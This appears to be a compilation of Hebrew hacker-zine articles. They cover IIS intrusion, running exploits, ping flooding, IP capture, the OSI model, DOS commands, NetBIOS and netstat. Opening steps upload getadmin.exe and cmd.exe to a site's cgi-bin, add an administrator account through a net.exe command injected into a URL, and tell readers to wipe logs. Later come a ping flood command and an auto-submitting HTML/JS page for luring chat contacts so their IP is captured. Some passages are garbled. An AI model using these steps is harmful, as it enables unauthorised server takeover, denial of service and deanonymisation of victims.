למשתמשי ווינדוס
NT
בידקו אם יש לכם את הקבצים האלו לאלה מכן שלא משתמשים ב-
Nt
לכו למנועי חיפוש כמו גוגל
www.google.com
עכשיו רוב הסיכוים שתימצאו אם לא בקשו ממשתמשי ווינדוס
NT
עכשיוחיזרו לחלון הדוס ורישמו
binary
שזה אומר לפתוח תקשורת לקבלת קובץ בינארי ועכשיו נעלה את הקבצים שימו לב תעלו את
הקבצים לתיקיה
cgi-bin
רישמו ככה
put getadmin.exe
put cmd.exe
put gasys.dll
עכשיו סיגרו את חלון הדוס לכו לדפדפן שלכם ורישמו ככה בידיוק
http://www.kaki.com/cgi-bin/getadmin.exe?IUSR_kaki
עכשיו מה שיקרה זה שהדפדן יענה
cgi error
ובלה בלה לא היה לי כוח לירשום בכל מיקרה אם תיבדקו המ כתוב זה אומר שלמשתמש החדש
שיצרנו הלא הוא
iusr_kaki
יש הרשאות על כלומר
Admin
עכשיו צרו חשבון חדש בשם כלשהו ככה
http://www.kaki.com/cgi-
bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20VeNuS%20FuckIIS%
20/add
ותנו לחשבון הזה זכויות על כמו שעשינו מקודם למיקרה שאתם לא זוכרים
http://www.kaki.com/cgi-bin/getadmin.exe?VeNuS
עכשיו לכו לדוס פיתחו את ההיתקשרות לאתר ואז כשזה יבקש ממכם שם משתמש רישמו
VeNuS
וסיסמא
FuckIIS
תהנו תעשו לארת מה שבא לכם ובלה בלה בלה בלה
אה בסוף אל תשכחו לימחקו לוגים או לשנות אותם כמובן אל תשכחו להשתמש בפרוקסי
וזהו
306
**
*
אקספלויטים
*+*+*+*+*+
טוב אקספלויט הוא תוכנית קטנה שמנצלת חור אבטחה על מנת לתת לך זכויות אדמין או בכלל
ליפגוע באתר
בדרך כלשהי אקספלויטם בד"כ ניכתבים בשפת
סי או פרל
והם מורצים על מערכת לינוקס או יוניקס או חשבון שאלל טוב
עכשיו אם זה אקספלויט בפרל הוא יוכל לרוץ גם על התוכנה
אקטיבפרל
www.activeestat.com
טוב אז אני השגתי לכם כמה חשבונות שאלל חינמים שיעזרו לכם
www.cyberspace.org
www.abronet.org
כמובן לחשבונות שאלל מיתחברים דרך פורט הטלנט דרך טלנט או ככה
התחל >-הפעלה
telnet www.abronet.org 21
וזהו תיצרו חשבון חדש ותריצו את האקספלויט
**
*
הרצת אקספלויטים
+*+*+*+*+*+*+*+
טוב כמו שרשמתי מקודם אקספלויט בד"כ יהיה כתוב בשפת פרל או סי
אז בוא נעבו לקטע ההרצה בחשבון השאלל שלכם בכדי לקמפל אקספלויט
בסי אז תעשו ככה
gcc exploit.c -o exploit.exe
אחרי זה תירשמו בחשבון השאלל ככה
exploit.exe/.
וזה יתן לכם הוראות איך להריץ
אם זה אקספלויט בפרל תעשו ככה דרך הדוס
perl exploit.pl
אפשר לעשות ככה גם דרך לינוקס מי שרצוה יכול גם להיעזר ב:
אקטיבפרל
www.activestat.com
HaSaTaN
307
Ipוכתובות אינטרנט
אינדקס הכתבה:
א .כיצד בנויה כתובת אינטרנט?
בTLD and SLD .
ג .חיפוש כתובות באינטרנט
ד .רישום כתובות באינטרנט
כתובת באינטרנט משמשת לזיהוי מחשב מסויים בתוך הרשת המהווה את האינטרנט.
הכתובת מורכבת משורת קבוצות של ספרות ,המופרדות ביניהן באמצעות נקודות .דוגמא
לכתובת טיפוסית
היא:
" 44.56.0.48 "
כאשר לכל מספר יש משמעות מסויימת( ,את הכתובת קוראים תמיד משמאל לימין) ""44
מסמל את הרשת "55" ,ו "0" -מסמלים תתי-רשת ,ואחרון "48" -מסמל את המחשב של בעל
האתר המקושר לרשת.
רצף זה של ספרות נקרא "כתובת "IPאו "מספר ."IPלצורך הנוחות המשתמש פותחה שיטת
המרה של מספר ipלכתובת אלפא נומרית ,המורכבת מאותיות או מילים ,שהיא למעשה ה,-
Domain Nameכפי שאנו מכירים אותו .המערכת שפותחה מנצלת מאגר נתוניםDNS - ,
,Domain Name Serverעל מנת לקשר בין הכתובות המספריות לכתובות באותיות .הכתובת
באותיות ,בדומה לכתובות המספריות ,מורכבת ממילים המופרדות באמצעות נקודות .סדר
קריאת כתובת כזו הוא גם כן מימין לשמאל.
**
*
308
בארה"ב ,מזהים את סוג הישות ע"פ סוג הכתובת (לדוגמא .gov :לישות ממשלתיתedu ,
לישות חינוכית com. ,לעסק מסחרי) ,ומחוץ לארה"ב מזהה את המדינה בה יושב בעל
הכתובת ( ilלישראל fr ,לצרפת וכדומה).
למעשה ,ה SLD-הוא הגורם העיקרי לסכסוכים בנושא סימני מסחר באינטרנט ,כיוון שהוא
החלק המכיל את שם החברה או סימנה המסחרי וחיפוש האתר על ידי משתמשי האינטרנט
נעשה בדרך כלל על ידי הקלדת ה.SLD-
עם זאת ,כפי שנראה בהמשך ,גם ה TLD-הוא גורם בעייתי בהקשר זה.
*
ג .חיפוש כתובות באינטרנט:
לפן הטכני של חיפוש כתובות באינטרנט יש מספר השלכות ,להלן נבחן חמש מהן:
א) חברה שרוצה להשתמש בסימן המסחר שלה ולרשום אותו כ ,Domain Name-לא תמיד
יכולה לעשות זאת שכן לא תמיד ניתן לתרגם סימן מסחר לאותיות או מילים .לא לכל חברה
סימנה המסחרי ,וכיון שהכתובות מורכבות מאותיות יש זהות בין שם החברה לבין שמה או
הכתובות לתת ביטוי לסימן או לשם מסחרי לטיניות בעלות גודל וצורה זהה ,לא ניתן דרך
באותיות ,וגם אם ניתן אזי לא בדרך אחרת .כמו כן לא תמיד ניתן לתת לסימן מסחר ביטוי
ניתן להשתמש באותיות בגודל שונה או בפונט מסוג אחר או בצבעים שונים ,אלא רק באותיות
בגודל ,סוג וצבע אחיד זהה .מגבלה זו מקטינה את היכולת של בעלי הסימנים להבדיל את
הסימן שלהם מאחרים ,זאת כיוון שיש פחות דרכים להביא לייחודיות הסימן (כאמור,
הייחודיות של הסימן ,או במילים אחרות "האופי המבחין" שלו ,הוא אחד התנאים העיקריים
לרישום והכרה בסימן כסימן מסחר).
ב) אם הסימן או השם המסחרי נרשמו בידי אחר ככתובת באינטרנט -גם אם הוא אינו בעל
המסחרי -הרי שהבעלים האמיתיים של הסימן או השם ,המשתמשים הסימן או השם
באותו TLD,אינם יכולים כבר לרשום אותו שם או סימן כ Domain Name -שכן ,כאמור
לעיל ,קיימת רק כתובת ייחודית אחת לכל מספר .IP
309
לכן ,חברות שיש להן שמות מסחריים ארוכים יותר עלולות להשתמש בכתובות המורכבות
מקיצורים או ראשי תיבות ,העלולים לבלבל בינן לבין ארגונים אחרים.
ד) כאשר מדובר בסימני מסחר ,ניתן לרשום סימן הזהה או דומה לסימן רשום אחר ,כל עוד
נפרדים של מוצרים או שרותים ואין סבירות לבלבול ביניהם בקרב ציבור מדובר בסוגים
הצרכנים.
לעומת זאת ,כאשר מדובר בכתובות באינטרנט ,לא ניתן לרשום כתובת זהה לכתובת שכבר
קיימת ,גם כאשר מדובר במוצרים או שירותים שונים לגמרי .לכן ,כאשר לשתי חברות יש
שתרשום ראשונה את סימנה המסחרי ככתובתה באינטרנט אותו סימן מסחרי ,רק החברה
להסתפק בשם חלופי ,שהוא אינטואיטיבית תזכה בכתובת זו ,ואילו החברה השנייה תיאלץ
פחות טוב לחברה ולזיהויה .מכאן שהחברה השנייה לא תוכל להשתמש בסימנה המסחרי
ככתובתה באינטרנט ,למרות שעל פי פקודת סימני מסחר (נוסח חדש) ,תשל"ב ,1972 -מותר
לה להשתמש בו והיא אף משתמשת בו בכל סיטואציה אחרת.
ה) בעיות דומות יכולות להיווצר גם מסיבות גיאוגרפיות ,כשלחברה במדינה xיש סימן מסחר
זהה לזה של חברה אחרת במדינה ,yושתיהן רוצות לרשום כתובת באינטרנט הכוללת אותו
סימן מסחר ו TLD -זהה (כגון:
" ".comאו " ,)".orgרק אחת מחברות אלה תוכל לרשום את הכתובת המבוקשת ,דבר שעלול
להוביל לסכסוכים בינלאומיים.
פיתרון אפשרי לבעיה זו הוא אימוץ TLDשונה לכל מדינה ומדינה ,כפי שמדינות רבות אכן
עשו (ישראל למשל מזוהה ע"י הסיומת " .)il".כך ניתן לרשום סימני מסחר זהים במדינות
השונות .אך פתרון זה מעורר
בעיה אחרת והיא יצירת כפילויות רבות של סימני מסחר זהים ככתובות אינטרנט ,אשר עלולה
לגרום לדילול ייחודיות סימן המסחר.
מתחילת עבודתה היתה מדיניות ה NSI -שלא להתערב בהשלכות רישום כתובות באינטרנט על
סימני מסחר של חברות ,ולא לקחת אחריות על הפרות סימני מסחר NSI .רואה עצמה כמשרד
רישום בלבד ,שכל תפקידו הוא רק לבדוק האם קיים רישום זהה לטובת גוף אחר ותו לא.
בהתאם לכך ,ישנם שני עקרונות המנחים את NSIלגבי רישום כתובות אינטרנט וכן את משרדי
הרישום האחרים שהוקמו במדינות אחרות:
310
:) שם אחד לאירגון אחד2
אמנם יכול. גם אם מדובר באשכול חברות,לפי עקרון זה לכל אירגון תהיה כתובת אחת בלבד
בעל כתובת
גם אם מדובר באשכול, אך אירגון אחד,)subdomain( כתובות-באינטרנט ליצור אינסוף של תת
. אחד בלבדTLD - וSLD - יכול להשתמש בצירוף של,של חברות
HaSaTaN
>HTML<
>HEAD<
>META content="text/html; charset=windows-1255" http-equiv=Content-Type<
FORM action=http://wwp.icq.com/scripts/WWPMsg.dll method=post<
>name=pagerform
>INPUT name=to type=hidden value=123901635<
>INPUT name=from type=hidden value=Reveal<
>INPUT name=fromemail type=hidden value=dk9@walla.co.il<
>"!INPUT name=subject type=hidden value="Hi This is My Ip<
>SCRIPT language=javascript<
--!<
document.write('<input type="hidden" name="body" value="\nThis is My IP
)'>"!!!! Enjoy and DONT hack 2 much
)(document.pagerform.submit
>--//
>SCRIPT/<
>FORM/<
>META content="MSHTML 5.00.2919.6307" name=GENERATOR<
>HEAD/<
>BODY></BODY<
>HTML/<
ותעלו את הדף, או סתם תפתחו אתר- תעלו אותו לדף כלשהוא באתר שלכם,הסקריפט הזה
.הזה
: אתם רואים כתוב שמה,5 : לכו לשורה,עכשיו
>INPUT name=to type=hidden value=123901635<
311
במקום המספר 123901635 :תכניסו את מספר האי סי קיו שלכם.
זהו ,גמרנו אם שלב הראשון.
עכשיו -תעלו את הדף הזה לאתר שלכם ,אתם אפילו להחדיר אותו לתוך דף קיים.
דברו אם מישהו באיסי קיו או תם באיזה צ'ט ,ותבקשו ממנו להיכנס לדף הזה ,כדי לבדוק משהו
-לא יודע!
אתם כר תמציאו סיבה שהוא יכנס לשם -וברגע שהוא יכנס לשם -האי פי שלו ישלח לאימייל
שלכם!!!!!
HaSaTaNאו death.up.co.il
ISO-OSI
שלום חברים ,הכתבה הזאת היא כתבה חשובה מאוד -על נושא שלא הרבה מבינים בו ,הנושא
טיפה מסובך אבל איתי לא תהיה לכם שום בעיה להבין אותו ,הנושא:
"מודל OSIשל ."ISO
אינדקס הכתבה:
הקדמות
.1השכבה הפיזית
.2שכת קישור הנתונים ()DATA-LINK
.3שכבת הרשת
.4שכבת ההעברה ()TRANSPORT
.5שכבת המושב ()SESSION
.6שכבת התצוגה ()PRESENTATION
.7שכבת היישום ()APPLICATION
בשנות ה 70 -קמה חברה בשם ,osiהחברה הייתה מייבאת תקנים לרשתות מידע (למביני
שבנינו.) x.803 :
התקן החדש שלה נקרא "( isoפעולה משולבת של מערכות פתוחות").
מודל OSIהכולל 7שכבות (חלקם פיזיות) ,מתאר את מה שקורה כאשר מחשב מדבר עם
מחשב ,בין אם זה מחשב אם שרת ,בין אם זה מחשב אל מחשב ובין אם זה מחשב עם מסוף.
מודל זה נועד להקל על יצירת מערכות ,שבהם מערכי ציוד שונים יכולים לתקשר ביניהם.
312
רוב החברות אימצו את תקן ISO/OSIולא את רשתות המידע האחרות הקיימות בשוק.
לכתחילה תקן OSI/ISOהיה מיועד לרתמ"ים בלבד (רשת מידע מקומית -שמחוברת בינה לבין
עצמה אם מחשב או מסוף) ,אבל באמצע שנות ה ,70-תחילת התפתחות האינטרנט ,תקן ה-
ISO/OSIהופץ ושומש גם בפרוטוקול האינטרנט ,TCP/IPוהיום הוא נמצא בכל מחשב
ומחשב.
תדמיינו לעצמכם את מודל OSIכעל עוגת שכבות ,בדומה לתרשים שהכנתי (.)CAKE.JPG
השכבה התחתונה -נושאת עליה את כל השכבות ,היא השכבה הפיזית (פיזית = כבלים
וחומרה).
/\/\/\/\/\/\/\/\/\/\/\.שבע השכבות\\/\/\/\/\/\/\/\/\/\/\/
השכבה הפיזית מספקת את החיבורים החשמליים ואת אמצעי העברת האותות .השכות הבאות
מדברות באמצעות השכבה הפיזית .כבלים ,סיים אופטיים וכו' שייכים כולם לשכבה הפיזית
שהיא בעצם החומרה.
השכבה הפיזית מעבירה את האותות עבור כל השכות שמעליה .אם תנתק את השכבה הזאת לא
תוכל ליצור תקשורת כלל .אולם ללא השכבות הגבוהות יותר ,לא יהיה לך מה לומר .ככל שאתה
עולה גבוהה יותר במודל ,OSIהתקשורת הפוכת להיות בעלת משמעות גדולה יותר מבחינתו של
המשתמש (או השרת או המסוף) בקצה השני.
לאחר שיש לנו את החיבוריים הפיזיים והחשמליים ,אתה חייב לשלוט בזרימת הנתונים בין
המערכת שלך למערכת שבצד השני .שכבת קישור הנתונים של OSIמתפקדת כמו מפקח
במסוף של רכבת ,המחבר קרונות כדי להרכיב רכבת .רמה זו מאגדת תווים יחד -ל"-מסרים",
ואח"כ בודקת אותם לפני שהיא מעבירה אותם ל"מסילות".
ניתוב ה"רכבות" בין שני המסופים היא מתפקידיה של "שכבת הנתונים".
313
מתארת את אופן הניתוב הפיזי של הנתונים ,על בסיס מצב הרשת ,קדימות השרותים (
TALKEN-RINGלמבינים שבינינו) ,וגורמים אחרים.
שכבת ההעברה ,השכבה ה 4-במודל ,OSIמצעת מספר פעולות דומות מאוד לאלה של שכבת
הרשת ,אולם היא מצעת אותם באופן מקומי ולא על-פני הנתים כמו בשכת הרשת" .מנהלי
התקנים" ( )DRIVERSבתוכנת הרשת הם אלה המבצעים את המשימות של שכבת ההעברה.
שכבה זו דומה למפקח העבודה של מסוף מסילת הרכבת ,הנכנס לפעולה במקרה של תקלה
במערכת .אם הרשת נופלת ,תוכנת שכבת ההעברה מחפשת נתיבים חלופיים או אולי שומרת את
המידע ששודר עד לחידוש התקשורת ברשת .היא מטפלת באבטחת איכות "י כך שהיא מוודאת,
שהנתנוים שהגיעו ,הם בפורמט הנכון ,ובסדר הנכון.
שכבת קישור הנתונים יכולה לספור קרונות משא ,כדי לוודא שכולם נמצאים .שכבת ההעברה
פותחת אותם ,כדי לוודא שדר לא נשבר או חסר.
השכבה החמישית ,שכת המושב ,היא לעיתים קרובות השכבה בעלת החשיבות הגדולה ביותר
במערכות ,PCהיא מבצעת פעולות שמאפשרות לשני יישומים (או שני חלקים של אותו יישום)
לתקשר בינהם על הרשת :בדיקות ביטחוניות ,זיהוי שמות ,נהלי כניסה למערכת (NOVELL
הזכורה לטוב) ופונקציות דומות אחרות.
ברגע שאתה רואה על הצג תווים מהבהבים ,צבעי תצוגה ,פורמטים מיוחדים להזנת נתונים,
גרפיקה ודברים נוספים על הצג ,אתה נמצא בשכבת התצוגה .שכבה זו יכולה לטפל גם בהצפנה
ובשיטות פירמוט קבצים מיוחדות.
היא מפרמטת מסכים וקבצים ,כדי שהמוצר הסופי יראה כפי שהתמכנת בחר להציגו.
שכבת התצוגה מכילה את תווי הבקרה ,במיוחד לגרפיקה וקודי התווים.
השכבה העליונה בעודת השכבות -שכת היישום -משרתת את המשתמש .במקום זה נמצאות
מערכת ההפעלה של הרשת ( )OSותוכנת היישום -כל דבר החל מחלוקת קבצים ,דוא"ל ,וכלה
ניהול בסיסי-נתונים והנהלת חשבונות .המתמש שולט בה ישירות.
סיכום
זו הייתה השכבה האחרונה במודל .OSI/ISOהרעיונות פשוטים למדי ,אולם עשרות וועדות
טורחות על הגדרת תקנים לחלקים הקטנים של כל שכבה ,ומאבקים פוליטיים אדירים.
HaSaTaN
314
מילון מושגים :2
המילון נכתב לאלה שרק עכשיו נכנסו לעסק ,כדאי מאוד להדפיס ולשנן מדי פעם ,קריאת
דברים אלה ,יתנו לכם בסיס ורקע לדברים הבאים!
אין להסתמך על המדריך במקום קריאת הגיליון ,מדריך זה פשוט יותר כללי ומסכם.
:http
Hyper Text Transfer Protocolר"ת של
הוא הפרוטוקול המשומש ,והידוע ביותר במחשבים ביתיים ועסקיים ,הוא מאפשר צפייה
בדפים שנמצאים על:
Www
World wide webר"ת של
רשת מחשבים עצומה שפרושה ע"ג ל העולם ,הרשת בנויה משרתים וממחשבי על.
Phackt
הפאקט שולח מידע לשרת ,החלק החשוב במידע הוא :שהמחשב שלכם נכנס ונמצא בשרת.
{פקודת פינג:
Ping –t-w x.x.x.x some number
שולחת פאקט\ים אל השרת ובזה מציפה אותו.
הסבר פקודת הפינג:
-משמש בדוס לפתיחת האפשרות Ping
משמש לסוג הפינג (במיקרה שלנו ,אחד ששולח פאקטים) t-w- -
משמש להגדרת האי פי בלבד של השרת אותו רוצים להציף x.x.x.x -
משמש להגדרת מספר הפאקטים אותו אתם רוצים לשלוח! Some number -
(מומלץ ,2600יותר מזה ,בד"כ השרת יוציא אתכם מהתקשורת אתו)
את פקודת הפינג יש לכתוב בחלון דוס לאחר שאתם ברמה העליונה ביותר]
חלון דוס:
:Dos mode
נפתח ב<התחל<תוכניות<הפניה לדוס ובאנלית:
>start>programs>dos
"רמות" בדוס -כשפותחים חלון דוס ,בד"כ הוא נפתח ובוא כתוב:
C:/windows
שזה כאילו פתחנו בווינדואוס את המחשב שלי ,אח"כ כונן ראשי ונכנסנו לתיקיית ווינדואוס,
כשאנו אומרים שאנו יורדים אמה בדוס ,הכוונה ,שבמיקום שיהיה כתוב:
C:/windows
315
יהיה כתוב:
/:C
כלומר הלכנו רמה אחורה ,לפני תיקיית ווינדואוס ,איך עושים את זה?
פשוט מאוד ,פשוט לוחצים:
..cd
(את פקודת הפינג אפשר לכתוב ,רק ברמה העליונה ביותר)!
פקודות שימושיות בדוס:
Del
ממש כמו לעשות דֵלֽית לקובץ כל שהוא ,למשל נלך לדוס ונכתוב:
Del c:/somefile.exe
והוא ימחק
Copy
פשוט ורגיל ,כותבים כך:
:Copy the_file_you_want_to_copy a
מה שזה יעשה זה ,יעתיק את הקובץ אותו אתה רוצה להעתיק ,לכונן תקליטונים ,באפשרותך
להעתיק לתיקייה אחרת במחשב שלך לדוגמא:
Copy the_file windows\coockies
אם אתם נמצאים במצב של הרמה העליונה ,אין צורך לכתוב:
C:/windows
אלא מספיק:
Windows\some_folder
פשוט מאוד!!
Put
דומה ל:
אם אתם הפעלתם את המחשב במצב דוס ,ואתם רוצים לחזור לווינדואוס ,פשוט הקלידו:
.1
Exit
.2
(יש צורך להיות ב:
(C:/windows
win
dir
תציג את כל הקבצים והתיקיות הנוכחיים של הכונן או התיקייה ,לדוגמא:
כשאתם ברמה העליונה לחצו:
Dir windows
תופיע רשימה ארוכה של כל הקבצים והתיקיות של ווינדואוס ,הבעיה היא ,שזה עובר מהר
מידי ,לכן רשמו כך:
Dir\p something
וזה יעצור כל עמוד ,עד שתלחצו אֶנטֶר ,זה לא ימשיך.
ftp
File Transfer Protcolר"ת של
פרוטוקול שנועד להעברת קבצים ע"ג האינטרנט ,ניתן לגשת לאתרי אפ טי פי ע"י פתיחה
אחרת:
ftp://x.x.com
לדוגמא.
telnet
דרך דומה להעברת קבצים ,רק שהיא ,יכולה להיכנס לכול מקום בכל פורט (חוץ ממקומות
מוגנים) ,ושהיא מבוססת על פקודות.
Smpt & pop3
שרתי דוא"ל ,מאפשרים העברת וקבלת דוא"ל.
Proxy
כ"כ הרבה אנשים מדברים על פרוקסי ,אבל מה זה לעזאזל? ומה זה יכול לעזור לי?
או קי ,הרשת בנויה כך,
הסתכלו היטב בתרשים הבא:
316
||4| -|3| -|2| -|1
||8| -|7| -|6| -|5
נגיד שיש שמונה מחשב שהמחשב עובד עד שהוא מגיע לוואלה (לדוגמא בלבד) ,בהתחלה הוא
מגיע ל 1ואז ל ,2וכן הלאה.
מה ששרת הפרוקסי עושה הוא בעצם מחפש את הדרך בא יוכל המחשב שלך לעבור ישירות
ממחשב | |1למחשב | |8שזה וואלה ,זה היתרון ,החיסרון הוא זה:
יכול להיות ,שמה שיקרה זה ,שהשרת פרוקסי יחפש דרך ,אבל לא ימצא ,מה שיקח לא זמן,
ואחרי זה הוא עוד צריך ללכת דרך כל המחשבים בדרך הרגילה!
כלומר ממחשב | |1עד מחשב |.|8
התחברות לשרת פרוקסי:
היכנסו לאקספלורר ולכו לכלים<אפשרויות אינטרנט<התקשרויות<הגדרות
וסמנו את האפשרות של "השתמש בשרת פרוקסי.
את הכתובת תצתרכו לשאול את ספקית האינטרנט שלכם והפורט (יציאה) הוא בד"כ ,8080
בבזק בינלאומי הכתובת היא:
Proxy.bezeqint.net
HaSaTan
NetBIOS
אז ,לפי הכותרת ולפי האינדקס ,אתם כבר יכולים לדעת בערך על מה הכתבה תעסוק!
למי של הבין אני אסביר עכשיו ,הכתבה הזאת תסביר את הפריצה ב ,NetBIOS -נכון שאתם
כבר יודעים איך עושים את זה ,אבל היום אנחנו טיפה נעמיק ,כדי לראות איך כל העסק
המחורבן הזה עובד!
לפני זה ,שלושה כללים:
.1כדאי לכם לקרוא את הכתבה הזאת ,היא תוסיף לכם הרבה ידע!!!!
.2אין לקרוא כתבה זאת לפני שראתם את הכתבה של פריצה למחשבים אחרים בגיליון !!!5
.3לפני שאני מתחיל על תאשימו אותי על זה שאני מתחיל בדברים בסיסיים ,כי יש פה הרבה
אנשים שלא יודעים כלום מהחיים שלהם ,אני יהיה המלאך שלהם ,ויסביר ה-כ-ל לאט לאט
וב-ר-ו-ר!!
אז בקשה על תשאלו אותי למה אני מתעכב על דברים ושטותיים!
זהו ,אחרי זה אני מוכן להתחיל את הכתבה!
( ,NetBIOS (Network Basic Input/Output Systeהגרסא האורגינלית של התוכנה נוצרה
ע"י sytekו ,IBM -מטרת התוכנה הייתה לספק למתכנתים בעלי מודם LANממשק אם
תקשורת למחשבים נוספים (שיתופים ,בעברית מדוברת) ,ללא ספק ,התוכנה נועדה ליצור קשר
אם רשתות אחרות לא שום דבר אחר (בינתיים!)...
ממשק העבודה של NetBIOSעזר למתכנתים ליצר תוכנות ללא עיכובים ולשלחם לדרכם דרך
רשתות המחשב השונות ,וחסך הרבה סבל ובעיות מהמתכנתים.
ישנם עוד הרבה סוגים של תיקשורת מחשבים ושרתים ,לדוגמא:
,OSIהדבר הזה שנקרא OSIמורכב מ 7 -שכבות של קוד מקור ,אני לא אפרט פה את השבע,
כי אני לא אגמור ,אני רק אסביר את העיקרון ,לכל ( phactמי שלא יודע מה זה ,שיסתכל בקובץ
הוורד שבגיליון ,10אין לי כוח להסביר פעמיים) שהמחשב שולח לתוכנה שנקראת OSIיש
שבעה פעולות לפי סדר מסוים ,כך בעצם מועבר המידע ,ע"י הצלבת המידע המתקבל מה-
phactאל ה OSI -והקבלתו ל( OSI -אם לא הבנתם זה לא חשוב!).
ישנם עוד כמה סוגי תוכנות שמעבירות מידע באופן ישיר וזה לא הזמן לפרט אותם!
NetBIOSזוהי תוכנה מאוד משותפת שהרבה פרוטוקולים תומכים בה (אזרנטAPP, IUS ,
וכו'),הוספת האפשרות של גישה לכל מחשב PCהפך את התוכנה לשיתופית (חחח )...יותר
מתמיד!
כל מחשב שמשתתף בתוכנה (הסבר כיצד לעשות זאת ,בגיליון ,)5מקבל שם ,הברירת מחדל
היא ,"guest" :שם באפשרות המשתתף לשנות אותה ,רק אם הוא מצתרף לתוכנה כקבוצה ,אם
הוא יתחבר כיחיד הוא יקבל שם אקראי ,שיורכב מ 15 -אותיות עם הסיומת של .NnetBIOS
כל קבוצה או משתמש מקבלים טבלה של כל המשתמשים באותה רשת .כלומר משהו כזה:
317
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
COMPUTER <00> UNIQUE Registered
WORKGROUP <00> GROUP Registered
COMPUTER <00> UNIQUE Registered
כש unique -מייצג משתמש יחיד עם שם אקראי ,ו( group -כמובן) מייצג קבוצה ,שורת ה-
statusמראה ,האם המחשבים הנ"ל מחוברים ביחד ברשת או לא ,והמספרים מייצגים את
מספר המחשבים בקבוצה או ביחיד!
הערה:
* למי שרוצה לדעת ,הנה מספרי הפורטים של תוכנת ה:NetBIOS -
137
138
ו.139 -
זהו להיום ,אני מקווה שהבנתם משהו ,ואם לא לא משנה!
HaSaTaN
Netstat
א.מה זה ?Netstat
**
*
כמו בכל תוכנה אחרת שעובדת מצב דוס ומורכבת ב Win :גם Netstatמקבלת פרמטרים.
הפרמטר הראשון שנראה ,זה כמובן.? :
לחצו :התחל < הפעלה**( :תישרו לשמאל**).
?\ netstat
התוצאה -זה כל הפרמטרים האפשריים שיש ב.Netstat :
*****תישרו לשמאל*****
C:\windows>netstat -a
318
Active Connections
הערך הראשון שאנחנו רואים פה זה .TCP :זה שם הפרוטוקול ,יכול להיות פה:
TCP .1
Transmission Control Protocol .2
UDP .3
User Datagram Protocol .4
IP .5
Internet Protocol .6
הכל תלוי בסוג המחשב ,הרכיבים ,החומרה וגרסת ה.Windows -
הערך הבא הוא LocalHost: :זה אומר לנו את השם שהגדרת כשהתקנת את ה Win -לשמש
כשם רשת למחשב שלך (הערה :מי שקרא את המדריך שלי שמסביר על NetBeuIמבין את זה
יותר טוב (.) :-
319
>- LocalHost :clientנפתח פורט פנימי ב >- LocalHost -מידע נשלח ל IP -מסוים.
>- ServerHost :hostנפתח פורט חיצוני על השרת עקב פנייה של >- LocalHostמידע
מתקבל מ IP -מסוים.
הערה:
פורטים פנימיים תמיד יהיו גדולים מ.1024 -
הבנתם? יופי!
הערך הבא נותן לנו את השם של ה Host -בצורת ASCIIולא בערך מספרי (יענו לא ב IP -אלא
בהוסט).
במקרה שלנו הערך הוא.dwarf.box.sk :
הערך הבא מראה לנו את הפורט החיצוני הפתוח על ה Host -או את השם של הפרוטוקול בו
מועבר המידע.
במקרה שלנו ,אנחנו רואים:ftp :
ואתם כבר יכולים להבין שמדובר בפרוטוקול ה.FTP -
הערך הבא ,נותן לנו את המצב בו נמצאת ההתחברות שלנו עם אותו .Host
אני לא רוצה להרחיב על המשמעות הרחבה של הדבר הזה ,זה כבר מתאים למדריך אחר ,מדריך
על מצבים ברשת ,אולי מתישהו אני יכתוב עליו מדריך.
בכל מקרה ,המצב בו נמצאת ההתחברות שלנו ,הוא.ESTABLISHED :
שזה אומר ,ההתחברות מבוססת והמידע זורם כל הזמן ללא שום בעיות.
הפרמטר -aהוא בדרך משומש ברוב המקרים .הוא נותן לנו רשימה של פרוטוקולים ופורטים
שפתוחים על המחשב שלנו ,כלומר על ה .LocalHost :הוא גם מאוד יעיל כדי לבדוק אם יש לנו
סוס טרויני על המחשב.
ברגע שנריץ Netstat -aונראה :פורט של סוס-טרויני נוכל לטפל בזה כראוי.
נכון שיש תוכנות שמטפלות בזה הרבה יותר בקלות ,אבל אנחנו "האקרים" (סעמק )...אנחנו לא
צריכים תוכנות .חוץ מזה הרבה יותר כיף לטפל בטרויני באופן ידני ,מאשר ללחוץ על כפתור "
"scanבאיזה תוכנה מסכנה.
דרך אגב:
**
*
ג .שימוש בפרמטר : -n
אוקי ,נתקדם הלאה ,ישנו עוד פרמטר מאוד חשוב -n :הוא מראה לנו את אותו הדבר רק
בערכים מספריים (יענו מספרי .)IP
נראה דוגמא:
**תישרו לשמאל**
C:\>netstat -n
320
Active Connections
.1הערך שב -a :הביא לנו LocalHost :עכשיו מביא לנו את ה IP -של המשתמש הלוקאלי
(יענו אתה).
.2הערך של ההוסט נראה בצורת מספרים ולא בצורת אותיות (דבר שיכול לזרז את העניינים)?
ההבדל שלא שמתם לב ,הוא זה ש -n :מתעלם מכל פרוטוקול חוץ מ .UDP -כלומר ,שאם תהיה
התחברות UDPותלחצו:
netstat -nלא תראו אותה ,זה חיסרון יחסית גדול של !! -N
תוכלו להשתמש ב -n :כדי לגלות את מספר ה IP -שלכם ,כמובן שתוכלו לעשות גם:
התחל >-הפעלה:
>- winipcfgמספר .IP
אוקי.
בכל פריצה ישנם שתי דברים בסיסיים מאוד שצריך לעשות:
א .להסתיר את ה IP -שלך.
ב .לגלות את ה IP -של הקרבן.
בזמן האחרון (שנתיים חמש) התחילו אנשים לנסות להשתמש בכל מיני תוכנות להסתרת הIP -
ןגילוי IPשל אנשים אחרים אני ממש לא אוהב את השטויות האלה ,ואתם תראו שגם אתם לא
ממש תאהבו את זה...........
I Seek Youאו ICQהוא כלי שמלא אנשים משתמשים בו ,ובגלל זה ניסו להחדיר בו אמצעי
בטיחות (זולים).
321
בתוך ה ICQ -ישנו מסתיר IPמובנה .דבר זה אינו יעיל כמו שאר התוכנות שמנסות לעשות את
הפעולה.
אתה (כן ,כן! אתה!!) יכול לגלות IPשל כל משתמש ICQשרק בא לך!
עקוב אחרי התליכים הבאים:
אם לא הבנתם מה עשיתי ,אז לא הבנתם את הכתבה עד לפה ואתם לא תבינו את הדברים
הבאים שאני הולך לכתוב!
קראו את הכל עוד פעם ועוד פעם!
C:\>netstat -p tcp
Active Connections
322
TCP ankit:1081 www.burstnet.com:80 FIN_WAIT_2
הטבלה הזאת תראה לנו רק את החיבורים מסוג ,TCPכי אחרי שכתבנו -n :רשמנו .TCP
אז לא נראה שום דבר אחר חוץ מחיבורים בפרוטוקול .TCP
**
*
ו .שימוש בפרמטר: -e :
Interface Statistics
Received Sent
323
Non-unicast packets 45 45
Discards 0 0
Errors 0 0
Unknown protocols 50
פרמטר זה מאוד יעיל לאיתור בעיות ,נניח שיש לכם תקלה באיזה פרוטוקול ,חצי מהפתרון של
